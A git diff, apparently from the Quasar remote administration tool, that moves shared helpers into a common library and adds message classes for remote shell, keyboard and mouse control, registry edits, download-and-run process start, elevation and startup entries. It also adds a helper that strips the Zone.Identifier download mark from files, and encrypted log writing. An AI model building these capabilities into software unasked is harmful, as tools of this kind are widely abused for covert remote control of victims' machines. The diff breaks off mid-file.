diff --git a/Quasar.Common/Extensions/DriveTypeExtensions.cs b/Quasar.Common/Extensions/DriveTypeExtensions.cs
new file mode 100644
index 000000000..270aa21a6
--- /dev/null
+++ b/Quasar.Common/Extensions/DriveTypeExtensions.cs
@@ -0,0 +1,27 @@
+using System.IO;
+
+namespace Quasar.Common.Extensions
+{
+ public static class DriveTypeExtensions
+ {
+ ///
+ /// Converts the value of the instance to its friendly string representation.
+ ///
+ /// The .
+ /// The friendly string representation of the value of this instance.
+ public static string ToFriendlyString(this DriveType type)
+ {
+ switch (type)
+ {
+ case DriveType.Fixed:
+ return "Local Disk";
+ case DriveType.Network:
+ return "Network Drive";
+ case DriveType.Removable:
+ return "Removable Drive";
+ default:
+ return type.ToString();
+ }
+ }
+ }
+}
diff --git a/Server/Core/Extensions/SocketExtensions.cs b/Quasar.Common/Extensions/SocketExtensions.cs
similarity index 98%
rename from Server/Core/Extensions/SocketExtensions.cs
rename to Quasar.Common/Extensions/SocketExtensions.cs
index f8ca1f28e..8b00f9b0b 100644
--- a/Server/Core/Extensions/SocketExtensions.cs
+++ b/Quasar.Common/Extensions/SocketExtensions.cs
@@ -2,7 +2,7 @@
using System.Net.Sockets;
using System.Runtime.InteropServices;
-namespace xServer.Core.Extensions
+namespace Quasar.Common.Extensions
{
///
/// Socket Extension for KeepAlive
@@ -45,4 +45,4 @@ public static void SetKeepAliveEx(this Socket socket, uint keepAliveInterval, ui
socket.IOControl(IOControlCode.KeepAliveValues, buffer, null);
}
}
-}
\ No newline at end of file
+}
diff --git a/Quasar.Common/Extensions/StringExtensions.cs b/Quasar.Common/Extensions/StringExtensions.cs
new file mode 100644
index 000000000..97ca1274a
--- /dev/null
+++ b/Quasar.Common/Extensions/StringExtensions.cs
@@ -0,0 +1,69 @@
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Extensions
+{
+ public static class StringExtensions
+ {
+ ///
+ /// Converts the file extension string to its representation.
+ ///
+ /// The file extension string.
+ /// The representation of the file extension string.
+ public static ContentType ToContentType(this string fileExtension)
+ {
+ switch (fileExtension.ToLower())
+ {
+ default:
+ return ContentType.Blob;
+ case ".exe":
+ return ContentType.Application;
+ case ".txt":
+ case ".log":
+ case ".conf":
+ case ".cfg":
+ case ".asc":
+ return ContentType.Text;
+ case ".rar":
+ case ".zip":
+ case ".zipx":
+ case ".tar":
+ case ".tgz":
+ case ".gz":
+ case ".s7z":
+ case ".7z":
+ case ".bz2":
+ case ".cab":
+ case ".zz":
+ case ".apk":
+ return ContentType.Archive;
+ case ".doc":
+ case ".docx":
+ case ".odt":
+ return ContentType.Word;
+ case ".pdf":
+ return ContentType.Pdf;
+ case ".jpg":
+ case ".jpeg":
+ case ".png":
+ case ".bmp":
+ case ".gif":
+ case ".ico":
+ return ContentType.Image;
+ case ".mp4":
+ case ".mov":
+ case ".avi":
+ case ".wmv":
+ case ".mkv":
+ case ".m4v":
+ case ".flv":
+ return ContentType.Video;
+ case ".mp3":
+ case ".wav":
+ case ".pls":
+ case ".m3u":
+ case ".m4a":
+ return ContentType.Audio;
+ }
+ }
+ }
+}
diff --git a/Quasar.Common/Helpers/FileHelper.cs b/Quasar.Common/Helpers/FileHelper.cs
new file mode 100644
index 000000000..b583e1ea0
--- /dev/null
+++ b/Quasar.Common/Helpers/FileHelper.cs
@@ -0,0 +1,101 @@
+using Quasar.Common.Cryptography;
+using System.IO;
+using System.Linq;
+using System.Text;
+
+namespace Quasar.Common.Helpers
+{
+ public static class FileHelper
+ {
+ ///
+ /// List of illegal path characters.
+ ///
+ private static readonly char[] IllegalPathChars = Path.GetInvalidPathChars().Union(Path.GetInvalidFileNameChars()).ToArray();
+
+ ///
+ /// Indicates if the given path contains illegal characters.
+ ///
+ /// The path to check.
+ /// Returns true if the path contains illegal characters, otherwise false.
+ public static bool HasIllegalCharacters(string path)
+ {
+ return path.Any(c => IllegalPathChars.Contains(c));
+ }
+
+ ///
+ /// Gets a random file name.
+ ///
+ /// The length of the file name.
+ /// The file extension including the dot, e.g. .exe.
+ /// The random file name.
+ public static string GetRandomFilename(int length, string extension = "")
+ {
+ return string.Concat(StringHelper.GetRandomString(length), extension);
+ }
+
+ ///
+ /// Gets a path to an unused temp file.
+ ///
+ /// The file extension including the dot, e.g. .exe.
+ /// The path to the temp file.
+ public static string GetTempFilePath(string extension)
+ {
+ string tempFilePath;
+ do
+ {
+ tempFilePath = Path.Combine(Path.GetTempPath(), GetRandomFilename(12, extension));
+ } while (File.Exists(tempFilePath));
+
+ return tempFilePath;
+ }
+
+ ///
+ /// Indicates if the given file header contains the executable identifier (magic number) 'MZ'.
+ ///
+ /// The binary file to check.
+ /// Returns true for valid executable identifiers, otherwise false.
+ public static bool HasExecutableIdentifier(byte[] binary)
+ {
+ if (binary.Length < 2) return false;
+ return (binary[0] == 'M' && binary[1] == 'Z') || (binary[0] == 'Z' && binary[1] == 'M');
+ }
+
+ ///
+ /// Deletes the zone identifier for the given file path.
+ ///
+ /// The file path.
+ /// Returns true if the deletion was successful, otherwise false.
+ public static bool DeleteZoneIdentifier(string filePath)
+ {
+ return NativeMethods.DeleteFile(filePath + ":Zone.Identifier");
+ }
+
+ ///
+ /// Appends text to a log file.
+ ///
+ /// The filename of the log.
+ /// The text to append.
+ /// The AES instance.
+ public static void WriteLogFile(string filename, string appendText, Aes256 aes)
+ {
+ appendText = ReadLogFile(filename, aes) + appendText;
+
+ using (FileStream fStream = File.Open(filename, FileMode.Create, FileAccess.Write))
+ {
+ byte[] data = aes.Encrypt(Encoding.UTF8.GetBytes(appendText));
+ fStream.Seek(0, SeekOrigin.Begin);
+ fStream.Write(data, 0, data.Length);
+ }
+ }
+
+ ///
+ /// Reads a log file.
+ ///
+ /// The filename of the log.
+ /// The AES instance.
+ public static string ReadLogFile(string filename, Aes256 aes)
+ {
+ return File.Exists(filename) ? Encoding.UTF8.GetString(aes.Decrypt(File.ReadAllBytes(filename))) : string.Empty;
+ }
+ }
+}
diff --git a/Client/Core/Helper/PlatformHelper.cs b/Quasar.Common/Helpers/PlatformHelper.cs
similarity index 81%
rename from Client/Core/Helper/PlatformHelper.cs
rename to Quasar.Common/Helpers/PlatformHelper.cs
index 2af1418ee..14f4a7fad 100644
--- a/Client/Core/Helper/PlatformHelper.cs
+++ b/Quasar.Common/Helpers/PlatformHelper.cs
@@ -2,7 +2,7 @@
using System.Management;
using System.Text.RegularExpressions;
-namespace xClient.Core.Helper
+namespace Quasar.Common.Helpers
{
public static class PlatformHelper
{
@@ -21,9 +21,7 @@ static PlatformHelper()
RunningOnMono = Type.GetType("Mono.Runtime") != null;
Name = "Unknown OS";
- using (
- ManagementObjectSearcher searcher =
- new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
+ using (var searcher = new ManagementObjectSearcher("SELECT Caption FROM Win32_OperatingSystem"))
{
foreach (ManagementObject os in searcher.Get())
{
@@ -34,18 +32,18 @@ static PlatformHelper()
Name = Regex.Replace(Name, "^.*(?=Windows)", "").TrimEnd().TrimStart(); // Remove everything before first match "Windows" and trim end & start
Is64Bit = Environment.Is64BitOperatingSystem;
- FullName = string.Format("{0} {1} Bit", Name, Is64Bit ? 64 : 32);
+ FullName = $"{Name} {(Is64Bit ? 64 : 32)} Bit";
}
///
/// Gets the full name of the operating system running on this computer (including the edition and architecture).
///
- public static string FullName { get; private set; }
+ public static string FullName { get; }
///
/// Gets the name of the operating system running on this computer (including the edition).
///
- public static string Name { get; private set; }
+ public static string Name { get; }
///
/// Determines whether the Operating System is 32 or 64-bit.
@@ -53,7 +51,7 @@ static PlatformHelper()
///
/// true if the Operating System is 64-bit, otherwise false for 32-bit.
///
- public static bool Is64Bit { get; private set; }
+ public static bool Is64Bit { get; }
///
/// Returns a indicating whether the application is running in Mono runtime.
@@ -61,7 +59,7 @@ static PlatformHelper()
///
/// true if the application is running in Mono runtime; otherwise, false.
///
- public static bool RunningOnMono { get; private set; }
+ public static bool RunningOnMono { get; }
///
/// Returns a indicating whether the Operating System is Windows 32 NT based.
@@ -69,7 +67,7 @@ static PlatformHelper()
///
/// true if the Operating System is Windows 32 NT based; otherwise, false.
///
- public static bool Win32NT { get; private set; }
+ public static bool Win32NT { get; }
///
/// Returns a value indicating whether the Operating System is Windows XP or higher.
@@ -77,7 +75,7 @@ static PlatformHelper()
///
/// true if the Operating System is Windows XP or higher; otherwise, false.
///
- public static bool XpOrHigher { get; private set; }
+ public static bool XpOrHigher { get; }
///
/// Returns a value indicating whether the Operating System is Windows Vista or higher.
@@ -85,7 +83,7 @@ static PlatformHelper()
///
/// true if the Operating System is Windows Vista or higher; otherwise, false.
///
- public static bool VistaOrHigher { get; private set; }
+ public static bool VistaOrHigher { get; }
///
/// Returns a value indicating whether the Operating System is Windows 7 or higher.
@@ -93,7 +91,7 @@ static PlatformHelper()
///
/// true if the Operating System is Windows 7 or higher; otherwise, false.
///
- public static bool SevenOrHigher { get; private set; }
+ public static bool SevenOrHigher { get; }
///
/// Returns a value indicating whether the Operating System is Windows 8 or higher.
@@ -101,7 +99,7 @@ static PlatformHelper()
///
/// true if the Operating System is Windows 8 or higher; otherwise, false.
///
- public static bool EightOrHigher { get; private set; }
+ public static bool EightOrHigher { get; }
///
/// Returns a value indicating whether the Operating System is Windows 8.1 or higher.
@@ -109,7 +107,7 @@ static PlatformHelper()
///
/// true if the Operating System is Windows 8.1 or higher; otherwise, false.
///
- public static bool EightPointOneOrHigher { get; private set; }
+ public static bool EightPointOneOrHigher { get; }
///
/// Returns a value indicating whether the Operating System is Windows 10 or higher.
@@ -117,6 +115,6 @@ static PlatformHelper()
///
/// true if the Operating System is Windows 10 or higher; otherwise, false.
///
- public static bool TenOrHigher { get; private set; }
+ public static bool TenOrHigher { get; }
}
}
diff --git a/Quasar.Common/Helpers/StringHelper.cs b/Quasar.Common/Helpers/StringHelper.cs
new file mode 100644
index 000000000..e6f9ccce3
--- /dev/null
+++ b/Quasar.Common/Helpers/StringHelper.cs
@@ -0,0 +1,80 @@
+using Quasar.Common.Utilities;
+using System.Text;
+using System.Text.RegularExpressions;
+
+namespace Quasar.Common.Helpers
+{
+ public static class StringHelper
+ {
+ ///
+ /// Available alphabet for generation of random strings.
+ ///
+ private const string Alphabet = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789";
+
+ ///
+ /// Abbreviations of file sizes.
+ ///
+ private static readonly string[] Sizes = { "B", "KB", "MB", "GB", "TB", "PB" };
+
+ ///
+ /// Random number generator.
+ ///
+ private static readonly SafeRandom Random = new SafeRandom();
+
+ ///
+ /// Gets a random string with given length.
+ ///
+ /// The length of the random string.
+ /// A random string.
+ public static string GetRandomString(int length)
+ {
+ StringBuilder randomName = new StringBuilder(length);
+ for (int i = 0; i < length; i++)
+ randomName.Append(Alphabet[Random.Next(Alphabet.Length)]);
+
+ return randomName.ToString();
+ }
+
+ ///
+ /// Gets the human readable file size for a given size.
+ ///
+ /// The file size in bytes.
+ /// The human readable file size.
+ public static string GetHumanReadableFileSize(long size)
+ {
+ double len = size;
+ int order = 0;
+ while (len >= 1024 && order + 1 < Sizes.Length)
+ {
+ order++;
+ len = len / 1024;
+ }
+ return $"{len:0.##} {Sizes[order]}";
+ }
+
+ ///
+ /// Gets the formatted MAC address.
+ ///
+ /// The unformatted MAC address.
+ /// The formatted MAC address.
+ public static string GetFormattedMacAddress(string macAddress)
+ {
+ return (macAddress.Length != 12)
+ ? "00:00:00:00:00:00"
+ : Regex.Replace(macAddress, "(.{2})(.{2})(.{2})(.{2})(.{2})(.{2})", "$1:$2:$3:$4:$5:$6");
+ }
+
+ ///
+ /// Safely removes the last N chars from a string.
+ ///
+ /// The input string.
+ /// The amount of last chars to remove (=N).
+ /// The input string with N removed chars.
+ public static string RemoveLastChars(string input, int amount = 2)
+ {
+ if (input.Length > amount)
+ input = input.Remove(input.Length - amount);
+ return input;
+ }
+ }
+}
diff --git a/Quasar.Common/IO/FileSplit.cs b/Quasar.Common/IO/FileSplit.cs
new file mode 100644
index 000000000..495b419ec
--- /dev/null
+++ b/Quasar.Common/IO/FileSplit.cs
@@ -0,0 +1,124 @@
+using Quasar.Common.Models;
+using System;
+using System.Collections;
+using System.Collections.Generic;
+using System.IO;
+
+namespace Quasar.Common.IO
+{
+ public class FileSplit : IEnumerable, IDisposable
+ {
+ ///
+ /// The maximum size per file chunk.
+ ///
+ public readonly int MaxChunkSize = 65535;
+
+ ///
+ /// The file path of the opened file.
+ ///
+ public string FilePath => _fileStream.Name;
+
+ ///
+ /// The file size of the opened file.
+ ///
+ public long FileSize => _fileStream.Length;
+
+ ///
+ /// The file stream of the opened file.
+ ///
+ private readonly FileStream _fileStream;
+
+ ///
+ /// Initializes a new instance of the class using the given file path and access mode.
+ ///
+ /// The path to the file to open.
+ /// The file access mode for opening the file. Allowed are and .
+ public FileSplit(string filePath, FileAccess fileAccess)
+ {
+ switch (fileAccess)
+ {
+ case FileAccess.Read:
+ _fileStream = File.OpenRead(filePath);
+ break;
+ case FileAccess.Write:
+ _fileStream = File.OpenWrite(filePath);
+ break;
+ default:
+ throw new ArgumentException($"{nameof(fileAccess)} must be either Read or Write.");
+ }
+ }
+
+ ///
+ /// Writes a chunk to the file. In other words.
+ ///
+ ///
+ public void WriteChunk(FileChunk chunk)
+ {
+ _fileStream.Seek(chunk.Offset, SeekOrigin.Begin);
+ _fileStream.Write(chunk.Data, 0, chunk.Data.Length);
+ }
+
+ ///
+ /// Reads a chunk of the file.
+ ///
+ /// Offset of the file, must be a multiple of for proper reconstruction.
+ /// The read file chunk at the given offset.
+ ///
+ /// The returned file chunk can be smaller than iff the
+ /// remaining file size from the offset is smaller than ,
+ /// then the remaining file size is used.
+ ///
+ public FileChunk ReadChunk(long offset)
+ {
+ _fileStream.Seek(offset, SeekOrigin.Begin);
+
+ long chunkSize = _fileStream.Length - _fileStream.Position < MaxChunkSize
+ ? _fileStream.Length - _fileStream.Position
+ : MaxChunkSize;
+
+ var chunkData = new byte[chunkSize];
+ _fileStream.Read(chunkData, 0, chunkData.Length);
+
+ return new FileChunk
+ {
+ Data = chunkData,
+ Offset = _fileStream.Position - chunkData.Length
+ };
+ }
+
+ ///
+ /// Returns an enumerator that iterates through the file chunks.
+ ///
+ /// An object that can be used to iterate through the file chunks.
+ public IEnumerator GetEnumerator()
+ {
+ for (long currentChunk = 0; currentChunk <= _fileStream.Length / MaxChunkSize; currentChunk++)
+ {
+ yield return ReadChunk(currentChunk * MaxChunkSize);
+ }
+ }
+
+ ///
+ IEnumerator IEnumerable.GetEnumerator()
+ {
+ return GetEnumerator();
+ }
+
+ protected virtual void Dispose(bool disposing)
+ {
+ if (disposing)
+ {
+ _fileStream.Dispose();
+ }
+ }
+
+ ///
+ /// Disposes all managed and unmanaged resources associated with this class.
+ ///
+ public void Dispose()
+ {
+ Dispose(true);
+ GC.SuppressFinalize(this);
+ }
+ }
+}
diff --git a/Quasar.Common/Messages/ClientIdentification.cs b/Quasar.Common/Messages/ClientIdentification.cs
new file mode 100644
index 000000000..69ef36af9
--- /dev/null
+++ b/Quasar.Common/Messages/ClientIdentification.cs
@@ -0,0 +1,44 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class ClientIdentification : IMessage
+ {
+ [ProtoMember(1)]
+ public string Version { get; set; }
+
+ [ProtoMember(2)]
+ public string OperatingSystem { get; set; }
+
+ [ProtoMember(3)]
+ public string AccountType { get; set; }
+
+ [ProtoMember(4)]
+ public string Country { get; set; }
+
+ [ProtoMember(5)]
+ public string CountryCode { get; set; }
+
+ [ProtoMember(6)]
+ public int ImageIndex { get; set; }
+
+ [ProtoMember(7)]
+ public string Id { get; set; }
+
+ [ProtoMember(8)]
+ public string Username { get; set; }
+
+ [ProtoMember(9)]
+ public string PcName { get; set; }
+
+ [ProtoMember(10)]
+ public string Tag { get; set; }
+
+ [ProtoMember(11)]
+ public string EncryptionKey { get; set; }
+
+ [ProtoMember(12)]
+ public byte[] Signature { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/ClientIdentificationResult.cs b/Quasar.Common/Messages/ClientIdentificationResult.cs
new file mode 100644
index 000000000..c44638bd1
--- /dev/null
+++ b/Quasar.Common/Messages/ClientIdentificationResult.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class ClientIdentificationResult : IMessage
+ {
+ [ProtoMember(1)]
+ public bool Result { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoAskElevate.cs b/Quasar.Common/Messages/DoAskElevate.cs
new file mode 100644
index 000000000..69f91cfe0
--- /dev/null
+++ b/Quasar.Common/Messages/DoAskElevate.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoAskElevate : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/DoChangeRegistryValue.cs b/Quasar.Common/Messages/DoChangeRegistryValue.cs
new file mode 100644
index 000000000..6d8715ea3
--- /dev/null
+++ b/Quasar.Common/Messages/DoChangeRegistryValue.cs
@@ -0,0 +1,15 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoChangeRegistryValue : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public RegValueData Value { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoClientDisconnect.cs b/Quasar.Common/Messages/DoClientDisconnect.cs
new file mode 100644
index 000000000..6ba67459b
--- /dev/null
+++ b/Quasar.Common/Messages/DoClientDisconnect.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoClientDisconnect : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/DoClientReconnect.cs b/Quasar.Common/Messages/DoClientReconnect.cs
new file mode 100644
index 000000000..085c4026a
--- /dev/null
+++ b/Quasar.Common/Messages/DoClientReconnect.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoClientReconnect : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/DoClientUninstall.cs b/Quasar.Common/Messages/DoClientUninstall.cs
new file mode 100644
index 000000000..eb10b6839
--- /dev/null
+++ b/Quasar.Common/Messages/DoClientUninstall.cs
@@ -0,0 +1,9 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoClientUninstall : IMessage
+ {
+ }
+}
diff --git a/Quasar.Common/Messages/DoCloseConnection.cs b/Quasar.Common/Messages/DoCloseConnection.cs
new file mode 100644
index 000000000..a76498139
--- /dev/null
+++ b/Quasar.Common/Messages/DoCloseConnection.cs
@@ -0,0 +1,20 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoCloseConnection : IMessage
+ {
+ [ProtoMember(1)]
+ public string LocalAddress { get; set; }
+
+ [ProtoMember(2)]
+ public ushort LocalPort { get; set; }
+
+ [ProtoMember(3)]
+ public string RemoteAddress { get; set; }
+
+ [ProtoMember(4)]
+ public ushort RemotePort { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoCreateRegistryKey.cs b/Quasar.Common/Messages/DoCreateRegistryKey.cs
new file mode 100644
index 000000000..c5d430d0e
--- /dev/null
+++ b/Quasar.Common/Messages/DoCreateRegistryKey.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoCreateRegistryKey : IMessage
+ {
+ [ProtoMember(1)]
+ public string ParentPath { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoCreateRegistryValue.cs b/Quasar.Common/Messages/DoCreateRegistryValue.cs
new file mode 100644
index 000000000..0ceb00578
--- /dev/null
+++ b/Quasar.Common/Messages/DoCreateRegistryValue.cs
@@ -0,0 +1,15 @@
+using Microsoft.Win32;
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoCreateRegistryValue : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public RegistryValueKind Kind { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoDeleteRegistryKey.cs b/Quasar.Common/Messages/DoDeleteRegistryKey.cs
new file mode 100644
index 000000000..e2d605e70
--- /dev/null
+++ b/Quasar.Common/Messages/DoDeleteRegistryKey.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoDeleteRegistryKey : IMessage
+ {
+ [ProtoMember(1)]
+ public string ParentPath { get; set; }
+
+ [ProtoMember(2)]
+ public string KeyName { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoDeleteRegistryValue.cs b/Quasar.Common/Messages/DoDeleteRegistryValue.cs
new file mode 100644
index 000000000..630fa0549
--- /dev/null
+++ b/Quasar.Common/Messages/DoDeleteRegistryValue.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoDeleteRegistryValue : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public string ValueName { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoKeyboardEvent.cs b/Quasar.Common/Messages/DoKeyboardEvent.cs
new file mode 100644
index 000000000..0b11bd6a7
--- /dev/null
+++ b/Quasar.Common/Messages/DoKeyboardEvent.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoKeyboardEvent : IMessage
+ {
+ [ProtoMember(1)]
+ public byte Key { get; set; }
+
+ [ProtoMember(2)]
+ public bool KeyDown { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoLoadRegistryKey.cs b/Quasar.Common/Messages/DoLoadRegistryKey.cs
new file mode 100644
index 000000000..963ce3025
--- /dev/null
+++ b/Quasar.Common/Messages/DoLoadRegistryKey.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoLoadRegistryKey : IMessage
+ {
+ [ProtoMember(1)]
+ public string RootKeyName { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoMouseEvent.cs b/Quasar.Common/Messages/DoMouseEvent.cs
new file mode 100644
index 000000000..0f17a5632
--- /dev/null
+++ b/Quasar.Common/Messages/DoMouseEvent.cs
@@ -0,0 +1,24 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoMouseEvent : IMessage
+ {
+ [ProtoMember(1)]
+ public MouseAction Action { get; set; }
+
+ [ProtoMember(2)]
+ public bool IsMouseDown { get; set; }
+
+ [ProtoMember(3)]
+ public int X { get; set; }
+
+ [ProtoMember(4)]
+ public int Y { get; set; }
+
+ [ProtoMember(5)]
+ public int MonitorIndex { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoPathDelete.cs b/Quasar.Common/Messages/DoPathDelete.cs
new file mode 100644
index 000000000..9e3ade8eb
--- /dev/null
+++ b/Quasar.Common/Messages/DoPathDelete.cs
@@ -0,0 +1,15 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoPathDelete : IMessage
+ {
+ [ProtoMember(1)]
+ public string Path { get; set; }
+
+ [ProtoMember(2)]
+ public FileType PathType { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoPathRename.cs b/Quasar.Common/Messages/DoPathRename.cs
new file mode 100644
index 000000000..bc54b568a
--- /dev/null
+++ b/Quasar.Common/Messages/DoPathRename.cs
@@ -0,0 +1,18 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoPathRename : IMessage
+ {
+ [ProtoMember(1)]
+ public string Path { get; set; }
+
+ [ProtoMember(2)]
+ public string NewPath { get; set; }
+
+ [ProtoMember(3)]
+ public FileType PathType { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoProcessEnd.cs b/Quasar.Common/Messages/DoProcessEnd.cs
new file mode 100644
index 000000000..318ba21ef
--- /dev/null
+++ b/Quasar.Common/Messages/DoProcessEnd.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoProcessEnd : IMessage
+ {
+ [ProtoMember(1)]
+ public int Pid { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoProcessResponse.cs b/Quasar.Common/Messages/DoProcessResponse.cs
new file mode 100644
index 000000000..8a35badce
--- /dev/null
+++ b/Quasar.Common/Messages/DoProcessResponse.cs
@@ -0,0 +1,15 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoProcessResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public ProcessAction Action { get; set; }
+
+ [ProtoMember(2)]
+ public bool Result { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoProcessStart.cs b/Quasar.Common/Messages/DoProcessStart.cs
new file mode 100644
index 000000000..be9b55a53
--- /dev/null
+++ b/Quasar.Common/Messages/DoProcessStart.cs
@@ -0,0 +1,17 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoProcessStart : IMessage
+ {
+ [ProtoMember(1)]
+ public string DownloadUrl { get; set; }
+
+ [ProtoMember(2)]
+ public string FilePath { get; set; }
+
+ [ProtoMember(3)]
+ public bool IsUpdate { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoRenameRegistryKey.cs b/Quasar.Common/Messages/DoRenameRegistryKey.cs
new file mode 100644
index 000000000..d31ed92f1
--- /dev/null
+++ b/Quasar.Common/Messages/DoRenameRegistryKey.cs
@@ -0,0 +1,17 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoRenameRegistryKey : IMessage
+ {
+ [ProtoMember(1)]
+ public string ParentPath { get; set; }
+
+ [ProtoMember(2)]
+ public string OldKeyName { get; set; }
+
+ [ProtoMember(3)]
+ public string NewKeyName { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoRenameRegistryValue.cs b/Quasar.Common/Messages/DoRenameRegistryValue.cs
new file mode 100644
index 000000000..e6804dfff
--- /dev/null
+++ b/Quasar.Common/Messages/DoRenameRegistryValue.cs
@@ -0,0 +1,17 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoRenameRegistryValue : IMessage
+ {
+ [ProtoMember(1)]
+ public string KeyPath { get; set; }
+
+ [ProtoMember(2)]
+ public string OldValueName { get; set; }
+
+ [ProtoMember(3)]
+ public string NewValueName { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoShellExecute.cs b/Quasar.Common/Messages/DoShellExecute.cs
new file mode 100644
index 000000000..e0b36369c
--- /dev/null
+++ b/Quasar.Common/Messages/DoShellExecute.cs
@@ -0,0 +1,11 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoShellExecute : IMessage
+ {
+ [ProtoMember(1)]
+ public string Command { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoShellExecuteResponse.cs b/Quasar.Common/Messages/DoShellExecuteResponse.cs
new file mode 100644
index 000000000..787857d38
--- /dev/null
+++ b/Quasar.Common/Messages/DoShellExecuteResponse.cs
@@ -0,0 +1,14 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoShellExecuteResponse : IMessage
+ {
+ [ProtoMember(1)]
+ public string Output { get; set; }
+
+ [ProtoMember(2)]
+ public bool IsError { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoShowMessageBox.cs b/Quasar.Common/Messages/DoShowMessageBox.cs
new file mode 100644
index 000000000..dc9eb1e57
--- /dev/null
+++ b/Quasar.Common/Messages/DoShowMessageBox.cs
@@ -0,0 +1,20 @@
+using ProtoBuf;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoShowMessageBox : IMessage
+ {
+ [ProtoMember(1)]
+ public string Caption { get; set; }
+
+ [ProtoMember(2)]
+ public string Text { get; set; }
+
+ [ProtoMember(3)]
+ public string Button { get; set; }
+
+ [ProtoMember(4)]
+ public string Icon { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoShutdownAction.cs b/Quasar.Common/Messages/DoShutdownAction.cs
new file mode 100644
index 000000000..4256f25a1
--- /dev/null
+++ b/Quasar.Common/Messages/DoShutdownAction.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Enums;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
+ public class DoShutdownAction : IMessage
+ {
+ [ProtoMember(1)]
+ public ShutdownAction Action { get; set; }
+ }
+}
diff --git a/Quasar.Common/Messages/DoStartupItemAdd.cs b/Quasar.Common/Messages/DoStartupItemAdd.cs
new file mode 100644
index 000000000..b60db23ae
--- /dev/null
+++ b/Quasar.Common/Messages/DoStartupItemAdd.cs
@@ -0,0 +1,12 @@
+using ProtoBuf;
+using Quasar.Common.Models;
+
+namespace Quasar.Common.Messages
+{
+ [ProtoContract]
